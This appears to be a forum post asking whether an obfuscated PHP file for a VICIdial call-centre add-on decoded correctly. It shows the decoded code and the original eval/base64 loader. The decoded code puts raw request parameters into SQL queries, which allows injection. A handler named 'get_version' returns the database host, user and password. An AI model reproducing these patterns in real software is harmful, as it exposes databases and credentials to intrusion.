$statuses_array = explode("|",$statuses);
$statuses_cond = "";
foreach ($statuses_array as $status)
{
$statuses_cond = $statuses_cond ."'$status',";
}
$statuses_cond = trim($statuses_cond,",");
$sql = "SELECT lead_id, list_id, phone_number, security_phrase
    FROM vicidial_list
    WHERE
    (entry_date >= '$start_date')
    AND status in ($statuses_cond)
    AND list_id in (SELECT list_id FROM vicidial_lists
    WHERE campaign_id = '$campaign' and active = 'Y')
    AND called_count>0
    order by entry_date DESC
    LIMIT 50000";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$lead_id = $result['lead_id'];
$list_id = $result['list_id'];
$phone_number = $result['phone_number'];
$security_phrase = $result['security_phrase'];
echo "$lead_id,$list_id,$phone_number,$security_phrase
";
}
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_get_hopper')
{
$campaign_id = '';
if (isset($_GET['campaign_id']))
$campaign_id    = $_GET['campaign_id'];
$max_id = 0;
if (isset($_GET['max_id']))
$max_id    = $_GET['max_id'];
$limit = "";
if ($max_id == 0)
$limit    = "ORDER BY hopper_id DESC LIMIT 200";
$sql = "SELECT hopper_id, lead_id, list_id, priority, status
    FROM vicidial_hopper
    WHERE campaign_id='$campaign_id'
    and hopper_id>='$max_id'
    $limit";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$lead_id            = $result['lead_id'];
$list_id            = $result['list_id'];
$hopper_id          = $result['hopper_id'];
$priority           = $result['priority'];
$status             = $result['status'];
$phone_number       = "";
$security_phrase    = "";
$sql1 = "SELECT phone_number, security_phrase
        FROM vicidial_list
        WHERE
        lead_id='$lead_id'
        AND list_id='$list_id'";
$stid1 = mysqli_query($link,$sql1) or die('I could not select query because:'.mysqli_error($link));
if ($result1 = mysqli_fetch_assoc($stid1))
{
$phone_number = $result1['phone_number'];
$security_phrase = $result1['security_phrase'];
}
echo "$lead_id,$list_id,$phone_number,$security_phrase,$hopper_id,$priority,$status
";
}
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_update_security_phrase')
{
$update_json = "";
if (isset($_POST['update_json']))
$update_json = $_POST['update_json'];
$update_array = json_decode($update_json,true);
$count = 0;
if (count($update_array) >0)
{
foreach ($update_array as $update_line)
{
$lead_id         = $update_line[0];
$list_id         = $update_line[1];
$security_phrase = $update_line[2];
$sql1 = "UPDATE vicidial_list
                    SET security_phrase='$security_phrase'
                    WHERE
                    lead_id='$lead_id'
                    AND list_id='$list_id'";
mysqli_query($link,$sql1) or die('I could not select query because:'.mysqli_error($link));
$count = $count +1;
}
}
echo '{"Updated Records":"'.$count.'"}';
}
if ($function == 'outboundani_get_version')
{
echo '{"version":"'."$VARserver_ip|$VARDB_user|$VARDB_pass|$VARDB_database|$VARDB_port".'"}';
};

Did this file decode correctly?

Original Code

<?php /* This computer code is protected by intellectual property laws and its property of 3ABM581 LLC DBA outboundANI. Reverse engineering, disassembly, or decompilation of this computer code is prohibited. Violators will be prosecuted to the fullest extent of the law. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0xbdd4;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDYwOCk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>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